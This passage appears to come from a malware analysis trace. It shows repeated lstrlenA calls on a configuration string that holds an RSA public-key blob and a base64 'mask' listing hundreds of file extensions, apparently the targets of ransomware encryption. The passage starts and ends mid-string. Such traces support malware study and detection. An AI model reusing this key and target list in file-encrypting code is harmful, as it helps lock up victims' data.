FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.136] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0